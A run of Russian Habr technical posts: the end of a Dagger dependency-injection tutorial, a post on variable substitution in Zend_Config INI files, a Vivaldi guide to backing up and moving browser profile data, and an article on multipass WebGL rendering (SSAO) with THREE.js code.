Чтобы попросить Dagger проиницализировать одно из полей, все что нужно сделать — добавить аннотацию `@Inject`:
```
@Inject
private HttpClient client;
```
… и убедиться, что этот класс добавлен в граф зависимостей (об этом далее)
##### Удовлетворение зависимостей (provide dependency)
Чтобы сказать даггеру какой инстанс клиента необходимо создать, необходимо создать «модуль» — класс аннотированный `@Module`:
```
@Module
public class NetworkModule{...}
```
Этот класс отвечает за «удовлетворение» части зависимостей, запрошенных приложением. В этом классе нужно создать так называемый «провайдер» — метод, который возвращает инстанс HttpClient (аннотированный `@Provide`):
```
@Module(injects=TwitterApi.class)
public class NetworkModule
{
@Provides @Singleton
HttpClient provideHttpClient()
{
return new OkHttpClient();
}
}
```
Этим мы сказали Dagger'y, чтобы он создал OkHttpClient для любого, кто попросил HttpClient посредством `@Inject` аннотации
Стоит упомянуть, что для того, чтобы compile-time валидация работала, необходимо указать все классы (в параметре injects), которые просят эту зависимость. В нашем случае, HttpClient необходим только TwitterApi классу.
Аннотация `@Singleton` указывает Dagger'у, что необходимо создать только 1 инстанс клиента и закэшировать его.
##### Cоздание графа
Теперь перейдем к созданию графа. Для этого я создал класс `Injector`, который инициализирует граф одним (или более) модулем. В контексте Android приложения, удобней всего это делать при создании приложения (наследуемся от Application и перегружаем `onCreate()`). В данном примере, я создал TweeterApp клас, который содержит в себе остальные компоненты (Tweeter и Timeline)
```
public class Injector
{
public static ObjectGraph graph;
public static void init(Object... modules)
{
graph = ObjectGraph.create(modules);
}
public static void inject(Object target)
{
graph.inject(target);
}
}
public class TweeterApp
{
public static void main(String... args)
{
Injector.init(new NetworkModule());
Tweeter tweeter = new Tweeter();
tweeter.tweet("Hello world");
Timeline timeline = new Timeline("Test User");
timeline.loadMore(20);
for(Tweet tweet: timeline.get())
{
System.out.println(tweet);
}
}
}
```
Теперь вернемся к запросу зависимостей:
```
public class TwitterApi
{
@Inject
private HttpClient client;
public TwitterApi()
{
//Добавляем класс в граф зависимостей
Injector.inject(this);
//На этом этапе "магическим" образом client проинициализирован Dagger'ом
}
public void postTweet(String user, String tweet)
{
HttpUrlConnection connection = client.open("....");
/* post tweet */
}
}
```
Заметьте `Injector.inject(Object)`. Это необходимо для того, чтобы добавить класс в граф зависимостей. Т.е. если у нас есть хотя бы один `@Inject` в классе — нам необходимо добавить этот класс к граф. В результате в нашем графе должны быть все классы, которые просят зависимости (каждый из этих классов должен сделать `ObjectGraph.inject()`) + модули, которые удовлетворяют эти зависимости (обычно добавляются на этапе инициалзации графа).
Теперь вернемся к нашей изначальной задаче — протестировать все. Нам необходимо каким-то образом уметь подменять HttStack. За удовлетворение этой зависимости (хмм — только сейчас заметил как это интересно звучит) отвечает модуль NetworkModule:
```
@Provides @Singleton
HttpClient provideHttpClient()
{
return new OkHttpClient();
}
```
Один из вариантов — это добавить какой-нибудь конфигурационный файл, который будет диктовать какой environment использовать:
```
@Provides @Singleton
HttpClient provideHttpClient()
{
if(Config.isDebugMode())
{
return new MockHttpClient();
}
return new OkHttpClient();
}
```
Но есть вариант еще элегантней. В Dagger можно создавать модули, переопределяющие функции, предоставляющие зависимости. Для этого в модуль надо добавить параметр `overrides=true`:
```
@Module(overrides=true, injects=TwitterApi.class)
public class MockNetworkModule
{
@Provides @Singleton
HttpClient provideHttpClient()
{
return new MockHttpClient();
}
}
```
Все что остается сделать — это добавить этот модуль в граф на этапе инициализации:
```
public class TweeterApp
{
public static void main(String... args)
{
Injector.init(new NetworkModule(), new MockNetworkModule());
Tweeter tweeter = new Tweeter();
tweeter.tweet("Hello world");
Timeline timeline = new Timeline("Test User");
timeline.loadMore(20);
for(Tweet tweet: timeline.get())
{
System.out.println(tweet);
}
}
}
```
Теперь все наши запросы будут идти через тестовый Http клиент.
Это далеко не все фичи Dagger'a — я описал только один из возможных сценариев использования данной библиотеки. В любом случае, без вдумчивого прочтения документации не обойтись.
**Вот что получилось в итоге (то же самое, что и выше, но собранное в кучу)**
```
//Entry point нашей программы
public class TweeterApp
{
public static void main(String... args)
{
Injector.init(new NetworkModule());
Tweeter tweeter = new Tweeter();
tweeter.tweet("Hello world");
Timeline timeline = new Timeline("Test User");
timeline.loadMore(20);
for(Tweet tweet: timeline.get())
{
System.out.println(tweet);
}
}
}
//Инициализатор графа
public class Injector
{
public static ObjectGraph graph;
public static void init(Object... modules)
{
graph = ObjectGraph.create(modules);
}
public static void inject(Object target)
{
graph.inject(target);
}
}
//Собственно, Tweeter (уже не принимающий HttpClient в конструкторе)
public class Tweeter
{
private TwitterApi api;
public Tweeter()
{
this.api = new TwitterApi();
}
public void tweet(String tweet)
{
api.postTweet("Test User", tweet);
}
}
//TwitterApi, который запрашивает HttpClient у Dagger'a
public class TwitterApi
{
@Inject
private HttpClient client;
public TwitterApi()
{
//Добавляем класс в граф зависимостей
Injector.inject(this);
//На этом этапе "магическим" образом client проинициализирован Dagger'ом
}
public void postTweet(String user, String tweet)
{
HttpUrlConnection connection = client.open("....");
/* post tweet */
}
}
//Модуль, который предоставляет HttpClient всем, кто об этом просил (список "просящих" указывается в 'injects' параметре)
@Module(injects=TwitterApi.class)
public class NetworkModule
{
@Provides @Singleton
HttpClient provideHttpClient()
{
return new OkHttpClient();
}
}
```
##### **Список полезных материалов по теме:**
* [Общее описаниe Dependency Injection](http://en.wikipedia.org/wiki/Dependency_injection)
* [Официальный сайт проекта](http://square.github.io/dagger/)
* [Google Hangout видеозапись с разработчиками библиотеки](http://www.youtube.com/watch?v=3mGf6b6JF00)
* [Мой маленький пример использования библиотеки на GitHub](https://github.com/paveldudka/dagger-otto-demo.git)
* [Слайды с презентации Jake Wharton на Devoxx конференции](https://speakerdeck.com/jakewharton/android-apps-with-dagger) (видео он пообещал выложить позже) | https://habr.com/ru/post/202866/ | null | ru | null |
# Подстановка значений в Zend_Config
Когда в конфигурационном файле возникает необходимость использовать подстановку значений, [официальная документация](http://framework.zend.com/docs/quickstart/create-your-project) недвузначно намекает на применение, ИМХО, не самой удачной практики — использование констант в INI-файлах, например так:
`[production]
includePaths.library = APPLICATION_PATH "/../library"
bootstrap.path = APPLICATION_PATH "/Bootstrap.php"`
Я написал небольшой класс, который наследует и расширяет функциональность Zend\_Config, позволяя использовать такой синтаксис:
`[production]
path.application = "${path.root}/application"
path.configs = "${path.application}/configs"
includePaths.library = "${path.root}/library"`
Вот пример его использования:
``> // окружение определяется заранее
>
> $environment = 'production';
>
>
>
> // опредеялем путь к корню проекта
>
> $rootPath = dirname(\_\_FILE\_\_);
>
>
>
> // определяем путь к конфигу относительно корня проекта
>
> $configPath = rootPath . '/application/configs/application.ini';
>
>
>
> // загружаем "сырой" конфиг без подстановки значений
>
> // и с отключенным режимом read-only
>
> $configRaw = new Zend\_Config\_Ini($configPath, $environment, true);
>
>
>
> // присваиваем путь к корню проекта переменной конфига
>
> $configRaw->path->root = $rootPath;
>
>
>
> // выполняем подстановку значений, превращая "сырой" конфиг в "обработанный"
>
> $config = Inf\_Config\_Placeholder($configRaw);
>
>
>
> // далее используем конфиг, как обычно
>
>
>
> \* This source code was highlighted with Source Code Highlighter.
Одним из ограничений класса является отсутствие проверки на бесконечную рекурсию, вроде этой:
`[production]
foo = "${bar}"
bar = "${foo}"`
Пожалуйста, избегайте подобных конструкций, так как выполнение бесконечной рекурсии занимает 7 секунд даже на самых современных серверах.
Код класса Inf_Config_Placeholder [доступен на GitHub](http://github.com/LaggyLuke/infinity/blob/78bc7b03fe064defd4045e80e171540be408b8bb/Config/Placeholder.php).
P.S. Формат репозитория на GitHub'е - немного странный, потому что я не нашел более удачного формата для его использования в виде субмодуля в директории library своего проекта. Може, есть какие-то идеи?`` | https://habr.com/ru/post/63478/ | null | ru | null |
# Резервное копирование и перенос данных в браузере Vivaldi
Всем привет!
В связи с активным процессом выпуска новых сборок Vivaldi, а также из-за значительных изменений в коде браузера, порой вносимых разработчиками, нередко возникает необходимость переноса накопленных данных из одной версии в другую. Это могут быть закладки, пароли, настройки, расширения, сессии — в общем, всё нажитое непосильным трудом за время пользования браузером. Помимо переноса данных вполне разумно и держать резервные копии особо важных файлов, чтобы в случае непредвиденных ситуаций максимально полно восстановить всё необходимое.
Если говорить в общем, то данная задача является вполне тривиальной и заключается в простом копировании файлов из одного каталога в другой, но есть и нюансы, как говорится. Вот об этом мы сегодня и поговорим.
**Где всё лежит?**
Это первый момент, который нужно знать. В Windows все пользовательские данные (ну, или почти все) хранятся в профиле пользователя, который при дефолтной установке находится примерно здесь:
`C:\Users\_имя_пользователя_\AppData\Local\Vivaldi\User Data\`
Если вы устанавливали браузер в режиме **Standalone** (а это рекомендованный режим для установки еженедельных тестовых сборок), то искать данную папку нужно в каталоге, который вы указали при установке.
В Linux ситуация аналогичная, только каталог с пользовательскими данными находится примерно здесь:
`/home/_имя_пользователя_/.config/vivaldi-snapshot/`
Режима Standalone в Linux-версии браузера нет — ранее мы уже рассказывали, [почему это так](https://habrahabr.ru/company/vivaldi/blog/275073), а также предложили [способы обойти это ограничение](https://habrahabr.ru/company/vivaldi/blog/275121). Но если вы воспользовались нашими советами (или знали решение и раньше), то должны уже догадаться, где искать пользовательские данные в этом случае.
Самая интересная ситуация у пользователей Mac OSX, в связи с тем, что Apple гораздо больше других заботится о своих пользователях, но и здесь мы нашли решение, о котором также [рассказывали чуть раньше](https://habrahabr.ru/company/vivaldi/blog/274969). В статье по приведённой ссылке вы найдёте информацию, где искать пользовательские файлы.
**Привет от корпорации добра**
Но не только Apple заботится о своих пользователях. Не меньшую заботу проявляет и компания Google, волею судьбы ставшая основным разработчиком ядра Chromium, которое используется в Vivaldi. Впрочем, точнее это будет назвать «беззаботностью» — чтобы соблюсти политкорректность. Дело в том, что режим установки **Standalone** никак не предусмотрен в коде Chromium — видимо, про то, что пользователи иногда предпочитают устанавливать любимые приложения на USB-накопители и таскают их везде с собой, менеджеры Google не ведают, поэтому часть персональных данных пользователей сохраняется в недрах операционной системы. В частности, это пароли, сохраняемые пользователями в браузере и используемые для входа на веб-сайты, требующие регистрации.
Это, пожалуй, самый неприятный «нюанс», о которых я упоминал в начале статьи. К сожалению, на данный момент обойти это ограничение мы не можем. Для этого требуется создать с нуля свой собственный менеджер паролей (), а это процесс далеко не самый простой и требующий определённых ресурсов. Мы, конечно, его сделаем, но не для первой финальной версии, которая уже давно просится на выход. Так что придётся немного потерпеть и попользоваться тем, что имеется на данный момент.
**Ближе к делу**
Итак, главную проблему мы теперь знаем. Но на самом деле она имеет значение только в случае использования «портабельной» версии Vivaldi, установленной на флэшку, т.к. в этом случае все наши пароли останутся в изначальной операционной системе и никак не попадут в другую. Наша же задача сегодня — сохранить резервную копию или перенести данные в границах одного компьютера. Делается это следующим образом.
Находим папку с пользовательскими данными (согласно описанию в начале статьи) и копируем её в другой каталог (для резервирования данных). Затем устанавливаем в режиме **Standalone** свежую сборку ([загрузив её с официального сайта](https://vivaldi.net/)). Теперь запускаем вновь установленную сборку (если она не запустилась автоматически после установки) и закрываем её. По итогам таких манипуляций у нас будет создан пользовательский профиль и для этой версии. Теперь копируем сохранённую ранее папку с данными и заменяем ею точно такую же, находящуюся в профиле вновь установленной версии. На этом перенос данных завершён.
Впрочем, это не всё. О нюансах я говорил во множественном числе не просто так. Один мы уже знаем. Второй нюанс — плод творчества разработчиков браузера Vivaldi. Дело в том, что хоть их, разработчиков, и мало, но они жутко работящие и постоянно придумывают что-то новое. И, что характерно, всё время норовят внедрить свои новинки в код браузера. В результате иногда изменения настолько чувствительны, что настройки из старого профиля начинают конфликтовать с нововведениями, что может приводить к непредсказуемому поведению как отдельных функций Vivaldi, так и всего браузера в целом. Кроме того, новшества могут оказаться вне зоны ответственности старых настроек и просто не появятся в приложении.
Решить эту проблему можно переносом не всей пользовательской папки, а только важных файлов, сохраняющих исключительно пользовательские данные, но не данные браузера. Таких файлов тем больше, чем активнее вы работаете в браузере. Находятся они в той же папке с профиля, но в подкаталоге **Default**. Определить, какие файлы важны, можно по названиям самих файлов. Вот примерный список того, что может вам понадобиться для переноса:
**Bookmarks** — закладки
**Cookies** — собственно, Cookies с посещённых сайтов
**Favicons** — фавиконки закладок и посещённых сайтов
**History** — история посещённых сайтов
**Login Data** — логины к сайтам, требующим авторизации
**Notes** — заметки
**Shortcuts** — настройки комбинаций быстрых клавиш
**Top Sites** — данные с посещённых сайтов (включая эскизы Экспресс-панели)
И т.д. и т.п. Также, если вы пользуетесь расширениями, можно скопировать все файлы и папки, имеющие в своём названии слово **Extension**, но нужно иметь в виду, что некоторые компоненты браузера также реализованы в форме расширений, поэтому одновременно с переносом установленных вами расширений есть вероятность и перенести данные, которые будут конфликтовать с новой версией браузера. В общем, здесь большое поле для творчества и поисков методом научного тыка.
**В качестве заключения**
В общем, понятно, что на данном этапе всё это выглядит не очень хорошо и требует некоторой ручной работы и времени. Могу только сказать, что это нам тоже не нравится и в планах уже есть задачи по улучшению как собственно работы с пользовательскими данными (в частности — с паролями), так и процесса резервного копирования или переноса пользовательских данных из одной версии в другую. Например, для закладок мы уже сделали экспорт-импорт, позволяющий переносить эти данные между различными версиями Vivaldi. Кроме того, про синхронизацию мы тоже помним и надеемся реализовать этот функционал после выпуска первой финальной версии. Так что, как говорится, не переключайтесь — вас ждёт много интересного. :-) | https://habr.com/ru/post/277741/ | null | ru | null |
# Как оживить картинку в браузере. Многопроходный рендеринг в WebGL
Каждый, кто сталкивался с трехмерной графикой, рано или поздно открывал документацию на методы отрисовки, которые предполагают несколько проходов рендерера. Такие методы позволяют дополнить картинку красивыми эффектами, вроде свечения ярких пятен (Glow), Ambient occlusion, эффекта глубины резкости.
И «взрослый» OpenGL, и мой любимый WebGL предлагают богатую функциональность для отрисовки результатов в промежуточные текстуры. Однако управление этой функциональностью — довольно сложный процесс, в котором очень легко получить ошибку на любом из этапов, начиная от создания текстур нужного разрешения до именования юниформ и передачи их в соответствующий шейдер.
Чтобы разобраться, как правильно готовить WebGL, мы обратились к специалистам компании [Align Technology](https://habrahabr.ru/company/aligntechnology/blog/). Они решили создать специальный менеджер для управления всем этим зоопарком из разных текстур, которым было бы удобно пользоваться. Что из этого получилось — будет под катом. Важно, что неподготовленного читателя, который никогда до этого не сталкивался с необходимостью организации многопроходного рендеринга, статья может показаться непонятной. Задача довольно специфическая, но и безумно интересная.
Чтобы вы понимали всю серьезность сиутации, коротко расскажу о компании. В Align выпускают продукт, который позволяет людям исправлять улыбки без традиционных брекетов. То есть их непосредственные потребители — это доктора. Это довольно ограниченная аудитория со специфическими запросами, накладывающими фантастические требования на надежность, производительность и качество пользовательского интерфейса. В свое время основным инструментом был выбран С++, но у него было серьезное ограничение: только десктопное приложение, только для Windows. Примерно два года назад начался переход на веб-версию. Возможности современных браузеров и стека технологий позволили быстро и удобно пересоздавать пользовательский интерфейс и адаптировать кодовую базу, которая до этого писалась почти 15 лет. Конечно, это привело к необходимости решать кучу задач на фронте и бэкенде, в том числе — к необходимости оптимизировать объемы данных и скорости загрузки. Этим задачам будут посвящены эта и следующие статьи.
И дабы дважды не вставать, я постараюсь не загромождать пост исходниками. То есть все, что входит в детали реализации и навевает тоску читателям кода, будет по возможности поскипано или сокращено до чистой, незамутненной идеи. Повествование будет вестись от первого лица, как это рассказывал Василий Ставенко — один из специалистов Align Technology, который согласился приоткрыть нам завесу тайны внутренней кухни WebGL-фронта.
Описание проблемы
=================
Для начала стоило бы рассказать, что, собственно, мы хотели реализовать и что для этого требовалось. Наша специфика не подразумевает большое количество визуальных эффектов. Мы решили реализовать Screen Space Ambient Occlusion (или SSAO) и простенькую тень.
SSAO — это, грубо говоря, подсчет суммарного затенения в точке, окруженной другими точками. Вот суть этой идеи:
```
float light = 0;
float deltaLight;
for(int astep =0; astep < ANGULAR_STEPS; ++astep){
vec2 offset = getOffset(astep, ANGULAR_STEPS);
for (int rstep = 0; rstep < RADIAL_STEPS; ++rstep ){
float radius = getRadius(rstep, RADIAL_STEPS);
vec4 otherPointPosition = textureLookup(offset, radius);
float screenSpaceDistance = length(point.xy - otherPointPosition.xy);
screenSpaceDistance = max(screenSpaceDistance, 0.00001);
float deltaHeight = otherPointPosition.z - point.z;
float lightness = (deltaHeight / screenSpaceDistance); // Суть!
deltaLight = companyRelatedMagic(lightness);
}
light += companyRelatedMagic2(deltaLight);
}
```
Функция `textureLookup` выбирает из подключенной текстуры пиксель, представляющий собой не цвет, а позицию точки. Далее вычисляем его освещенность как отношение его глубины к удалению от текущего, рисуемого фрагмента в координатах `gl_FragCoords`. Потом мы делаем особу магию с волшебными числами, чтобы получить значение в нужном диапазоне.
Получившаяся текстура будет иметь примерно вот такой вид:
Вот так выглядит окончательный результат:
Заметно, что SSAO-текстура имеет меньшее разрешение, чем полное изображение. Это сделано нарочно. Сразу после отрисовки позиций в фрагменты мы ужимаем текстуру, и только после этого вычисляем SSAO. Меньшее разрешение означает более быструю отрисовку и процессинг. А значит, что перед тем, как мы будет компоновать конечное изображение, нам надо увеличить разрешение промежуточного изображения.
Резюмируя, нам необходимо отрисовывать следующие текстуры:
1. Текстура позиций оригинального разрешения в формате `GL_FLOAT`
2. Текстура позиций малого разрешения.
3. Текстура SSAO малого разрешения.
4. Размытая текстура SSAO малого разрешения.
5. Размытая текстура SSAO высокого разрешения.
6. Текстура маски тени.
7. Изображение сцены, отрисованное с правильными материалами.
Зависимость и переиспользование
-------------------------------
Большая часть текстур может быть отрисована, только если уже есть какие-то отрисованные текстуры. Причем некоторые из них могут быть использованы несколько раз. То есть необходим механизм, работающий с зависимостями.
Отладка
-------
Для отладки процесса рендеринга может быть полезно вывести любую из текстур в имеющийся контекст.
Управление текстурами и фреймбуферами
-------------------------------------
Поскольку для нашей работы мы уже используем фреймворк [THREE.js](https://threejs.org/), следующие требования уже вытекают из взаимодействия с ним. Мы решили не скатываться в чистый WebGL и задействовали `THREE.WebGLRenderTarget`, который, к сожалению, дает оверхед фреймбуферов, связывая воедино текстуру и созданный объект фреймбуфера, не позволяя использовать имеющиеся буфера для других текстур. Но даже с этим оверхедом наш рендеринг работает на приемлемых скоростях, а управление таким объектом намного легче, чем управление двумя связанными, но при этом независимыми объектами.
Управление разрешением текстур
------------------------------
Нам бы очень хотелось иметь возможность «играться» с параметрами даунсэмплинга, с магией чисел и пределов освещенности и не заморачиваться тем, что надо полностью менять код вывода изображения — менять его разрешения, матрицы и прочие вещи. Поэтому было решено «зашить» механизм сэмплинга в наш менеджер.
Замена материала перед рендерингом сцены
----------------------------------------
Материал всех объектов в `THREE.Scene` должен быть заменен для отрисовки позиций, с учетом видимости объектов, а потом восстановлен без потерь. Тут следует отметить, что можно было бы воспользоваться параметром `Scene.overrideMaterial`. Но в нашем случае логика оказалась несколько более сложной.
Реализация — основная идея
==========================
Что же мы сделали в итоге?
Во-первых, сделали менеджер, описание которого вы найдете ниже. И написали такие классы, которые автоматически читают шейдеры и смотрят, какие текстуры им нужны для отрисовки самих себя. Менеджер должен уметь понять, что есть зависимости для отрисовки текстуры, и должен отрисовать необходимые зависимости.
Этот менеджер должен был, по задумке, быть проинициализирован экземплярами класса Pass. То есть понадобится еще один объект, который добавит в него проходы и будет уже application-specific. Из-за того, что в современных WebGL-шейдерах мы не можем задать имя исходящей текстуры, нам пришлось сделать ScreenSpacePass безымянным и давать ему имя при добавлении. А могли бы вычитывать его из текста шейдера.
Вот такой вот метод:
```
addPass(name, pass){
if(!pass instanceof Pass) throw new Error("Adding wrong class to renderer passes");
pass.setSceneAndCamera(this.screenSpaceScene, this.camera);
this.passes.set(name, pass);
}
```
Да, на этот же менеджер мы повесили и управление состоянием screenSpaceScene. К счастью, это один единственный меш с геометрией, чтобы закрыть весь экран.
Вот такой вот метод нам понадобился для отрисовки конкретного прохода на экран:
```
if(!this.passes.has(name)) throw new Error(`Multipass manager has no rendertarget named ${name}`)
const target = this.passes.get(name);
if(target.dependencies) {
this._prepareDependencies(target.dependencies); // <--- Ради чего все делалось
target.installDependencies(this.passes);
}
if(this.prerenderCallbacks[name]) // это позволяет делать функциональные юниформы.
this.prerenderCallbacks[name].forEach(fn=>fn(this));
let clear = options.clear || {color:true, depth:true, stencil:true};
clear = {...clear, ...target.clearOptions}
target.setResolutionWithoutScaling(this.width, this.height); // Куча настроек - скукотища
target.prerender();
this.setupClearing(clear);
this.renderer.render(target.getScene(), target.getCamera());
this.restoreClearing();
target.postrender();
```
Немного комментариев:
1. Каждая цель — это наш Pass для отрисовки.
2. `this.passes` — это экземпляр javascript Map() (Тип: `Map`).
3. `target.dependencies` — это список текстурных юниформ в шейдере. Их мы считываем из исходника шейдера с помощью регулярных выражений.
4. `installDependencies` — это ничто иное, как установка юниформ.
5. `prepareDependencies` для каждой зависимости запускает функцию `this.prerender`, которая является младшей сестрой указанной функции. Разница методов небольшая, например, отрисовка идет в фреймбуфер цели:
```
this.renderer.render(target.getScene(), target.getCamera(), target.framebuffer);
```
Таким образом, у нас нарисовался общий класс для наших проходов с вот таким вот интерфейсом:
```
class Pass{
// Публичное:
constructor(framebufferOptions = {}) {}
// Детали реализации
get clearOptions()
get framebuffer()
resize(w, h) // Это изменяет фреймбуфер
setResolution(width, height) // это задает разрешение рисуемой текстуры.
setResolutionWithoutScaling(width, height) // это изменяет разрешение текстуры в особых случаях.
touchUniformFunctions()
prerender()
postrender()
installDependencies(dependenciesMap)
getScene()
getCamera()
}
```
Как это должно работать
-----------------------
Для начала надо настроить наш менеджер. Для этого мы его инстанциируем и добавляем в него некоторое количество Pass-ов. Затем, когда нам надо нарисовать какой-то Pass на наш контекст, мы просто вызываем
```
manager.renderOnCanvas("passName");
```
Этот Pass должен отрисоваться на экране, а менеджер должен подготовить перед этим все зависимости. Поскольку мы хотим переиспользовать текстуры, наш менеджер будет проверять наличие уже отрисованных текстур, и чтобы он не решил, что текстуры с прошлого кадра — это те текстуры, которые можно не рисовать, мы перед началом отрисовки сбрасываем старые текстуры. Для этого у менеджера есть функция с соответствующим названием `start`.
```
function render(){
manager.start();
manager.renderOnCanvas('mainPass');
}
```
Сумятицу в стройную схему внесла потребность рисовать на основной канвас полупрозрачных текстур. При блендинге не нужно стирать предыдущие результаты, да и сам блендинг надо настроить. В нашем случае подготовленные текстуры накладываются на изображение при конечной отрисовке именно блендингом. Процедура такая:
1. Стираем фон с помощью gl.Clear — three.js делает это автоматически, если ему не сказать, что стирать не надо.
2. Накладываем тень с помощью блендинга.
3. Накладываем изображение нашей челюсти, используя прозрачность.
4. Накладываем SSAO.
Вот так:
```
function render(){
this.passManager.start();
if(showShadow)
this.passManager.renderOnCanvas('displayShadow');
this.passManager.renderOnCanvas('main', {
clear:{color:false, stencil:true, depth:true}
});
if(showSSAO)
this.passManager.renderOnCanvas('displaySSAO',{
clear:{color:false, stencil:true, depth:true}
});
}
```
Видно, что небольшое отличие состоит в том, что буфер цвета не стирается, а все остальные буферы очищаются.
Если нам захочется вывести на экран какую-то промежуточную текстуру (например, в целях отладки), мы можем лишь слегка модифицировать render. Например, текстура с SSAO, которуя я привел выше, была отрисована вот таким кодом:
```
function render(){
this.passManager.start();
this.passManager.renderOnCanvas('ssao');
}
```
Реализация ScenePass
--------------------
Теперь подробней остановимся на том, как именно рисовать наши проходы сцен в текстуры. Очевидно, что нам потребуется что-то, что умеет отрисовывать сцену, заменяя материал, и что-то, что будет отрисовывать все в экранных координатах.
```
export class ScenePass extends Pass{
constructor(scene, camera, options={}){
let prerender=options.prerender ||null,
postrender=options.postrender || null;
super(options.framebufferOptions);
this.scene = scene;
this.camera = camera;
this._prerender = prerender;
this._postrender = postrender;
this._clearOptions = options.clearOptions;
this.overrideMaterial = options.overrideMaterial || null;
}
setSceneAndCamera(){ // Do not rewrite our scene
}
}
```
Это весь класс. Получился довольно простым, поскольку почти всю функциональность удалось оставить в родителе. Как видите, я решил оставить `overrideMaterial` на тот возможный случай, когда мы сможем заменить материал на всей сцене разом в одну операцию присваивания, а не во время последовательной замены материала на всех подходящих объектах. Собственно, `_prerender` и `_postrender` — это и есть довольно умные заменители материала для каждого отдельного меша. Вот как они выглядят в нашем случае:
```
class Pass{
/// Skip-skip
prerender(){
if(this.overrideMaterial)
this.scene.overrideMaterial = this.overrideMaterial;
if(this._prerender)
this.scene.traverse(this._prerender);
}
postrender(){
if(this.scene.overrideMaterial)
this.scene.overrideMaterial = null;
if(this._postrender)
this.scene.traverse(this._postrender);
}
/// Skip-skip
}
```
`Scene.traverse` — это метод THREE.js, который рекурсивно проходит по всей сцене.
Реализация ScreenSpacePass
--------------------------
ScreenSpacePass был задуман так, чтобы вытащить из шейдера максимум необходимой информации для того, чтобы работать с ним без лишнего бойлерплейта. Класс получился довольно сложным. Основная сложность пришлась на логику, которая обеспечивает сэмплирование, — то есть на установку правильных разрешений в текстуре. Пришлось заводить дополнительный метод, чтобы задавать разрешение текущего фреймбуфера в тех случаях, когда мы хотим отрисовать на экран, а не в текстуру. Пришлось пойти на этот компромисс между технической сложностью, ответственностью классов, количеством сущностей и временем, выделенным на задачу.
Автоматический поиск и установка юниформ помогли быстро найти такие проблемы, как опечатки в именах текстурных юниформ. В таких случаях GL может взять какую-то другую текстуру, и то, что получается у вас на экране, выглядит совершенно не так, как должно, и при этом у вас нет идей, почему.
```
export class ScreenSpacePass extends Pass {
constructor(fragmentShader, options = {}){ // scaleFactor = 1.0, uniforms={}){
let scaleFactor = options.scaleFactor || 1.0;
let uniforms = options.uniforms || {};
let blendingOptions = options.blendingOptions || {};
super(options.framebufferOptions);
/// Skip
}
resize(w, h){
const scaler = getScaler(this.scaleFactor, w, h);
let v = new Vector2(w,h).multiply(scaler);
this.framebuffer.setSize(Math.round(v.x), Math.round(v.y));
}
setResolution(width, height){
const scaling = getScaler(this.scaleFactor, width, height);
let v = new Vector2(width, height).multiply(scaling);
this.uniforms.resolution.value = v;
}
setResolutionWithoutScaling(width, height){
this.uniforms.resolution.value = new Vector2(width, height);
}
isSampler(uname){
return this.samplerUniforms.indexOf(uname) != -1;
}
tryFindDefaultValueForUniformType(utype){
switch(utype){
case 'vec2': return new Vector2(0., 0.);
default: return null;
}
}
getValueForUniform(uniformDescr){
if(!this.uniformData.hasOwnProperty(uniformDescr.name )){
if(uniformDescr.name != 'resolution' && !this.isSampler(uniformDescr.name))
console.warn(`Value for uniform '${uniformDescr.name}' is not found.`);
return this.tryFindDefaultValueForUniformType(uniformDescr.type);
}
if(typeof(this.uniformData[uniformDescr.name]) == 'function'){
this.uniformData[uniformDescr.name] = this.uniformData[uniformDescr.name].bind(this);
return this.uniformData[uniformDescr.name]();
}
else return this.uniformData[uniformDescr.name];
}
touchUniformFunctions(){
for(const k in this.uniformData){
if(typeof this.uniformData[k] !== 'function') continue;
this.uniforms[k].value = this.uniformData[k]();
}
}
prerender(){
this.scene.overrideMaterial = this.shader;
this.touchUniformFunctions();
}
parseUniforms(glslShader){
let shaderLines = glslShader.split('\n');
const uniformRe = /uniform ([\w\d]+) ([\w\d]+);/;
let foundUniforms = shaderLines.map(line=>line.match(uniformRe))
.filter(x=>x)
.map(x=>{return {type:x[1],name:x[2]}});
const umap = this.mapping;
this.dependencies = foundUniforms.filter(x=>x.type == 'sampler2D').map(x=>umap[x.name]?umap[x.name]:x.name);
this.samplerUniforms = foundUniforms.filter(x=>x.type == 'sampler2D').map(x=>x.name);
this.uniforms = {};
foundUniforms.forEach(u=>{
this.uniforms[u.name] = {value:this.getValueForUniform(u)};
});
if(!this.uniforms.hasOwnProperty('resolution'))
throw new Error('ScreenSpace shader in WebGL must have resolution uniform');
}
installDependencies(dependenciesMap){
this.samplerUniforms.forEach(uname=>{
this.uniforms[uname].value = dependenciesMap.get(uname).framebuffer.texture;
})
}
parseShader(fragmentShader){
let glslShader = parseIncludes(fragmentShader);
this.parseUniforms(glslShader);
return new RawShaderMaterial({
vertexShader: ssVertex,
fragmentShader:glslShader,
uniforms: this.uniforms,
transparent: this.blendingOptions.transparent || false
});
}
}
function parseIncludes( string ) {
// Stolen from three.js
var pattern = /#include +<([\w\d.]+)>/g;
function replace( match, include ) {
var replace = ShaderChunk[ include ];
if ( replace === undefined ) {
throw new Error( 'Can not resolve #include <' + include + '>' );
}
return parseIncludes( replace );
}
return string.replace( pattern, replace );
}
```
Здесь исходник получился довольно большим, а класс — довольно умным. Впрочем видно, что большая часть кода как раз выясняет, есть ли в шейдере текстурные юниформы, и устанавливает их в качестве зависимостей.
Ну и в самом конце, я покажу, как мы этим пользовались. Application specific-сущность мы назвали `EffectComposer`. В его конструкторе создаем описанный менеджер и создаем ему пассы:
```
this.passManager = new PassManager(threeRenderer);
this.passManager.addPass('downscalePositionSSAO',
new ScreenSpacePass(require('./shaders/passingFragmentShader.glsl'),
{scaleFactor})
);
this.passManager.addPass('downscalePositionShadow',
new ScreenSpacePass(require('./shaders/positionDownSampler.glsl'),
{scaleFactor})
);
this.passManager.addPass('ssao',
new ScreenSpacePass(require('./shaders/SSAO.glsl'), {scaleFactor})
);
/// Skip-skip-skip
```
В качестве примера — содержимое файла passingFragmentShader.glsl:
```
precision highp float;
uniform sampler2D positions; // это зависимость - нужно сначала отрисовать текстуру positions
uniform vec2 resolution;
void main(){
vec2 vUv = gl_FragCoord.xy / resolution;
gl_FragColor = texture2D(positions, vUv);
}
```
Шейдер очень короткий — достать пиксель, который проинтерполируется, и тут же отдать его. Всю работу сделает линейная интерполяция в настройках текстуры (`GL_LINEAR`).
Теперь посмотрим, как будет отрисована `positions`.
Рабочая сцена нам нужна в других местах программы, поэтому `EffectComposer` не является ее владельцем, ему ее задают, когда надо.
```
function updateScenes(scenes, camera){
this.passManager.addPass('main', new ScenePass(scene, camera));
this.passManager.addPass('positions', new ScenePass(scene, camera, {
prerender: materialReplacer,
postrender:materialRestore,
framebufferOptions
}))
}
```
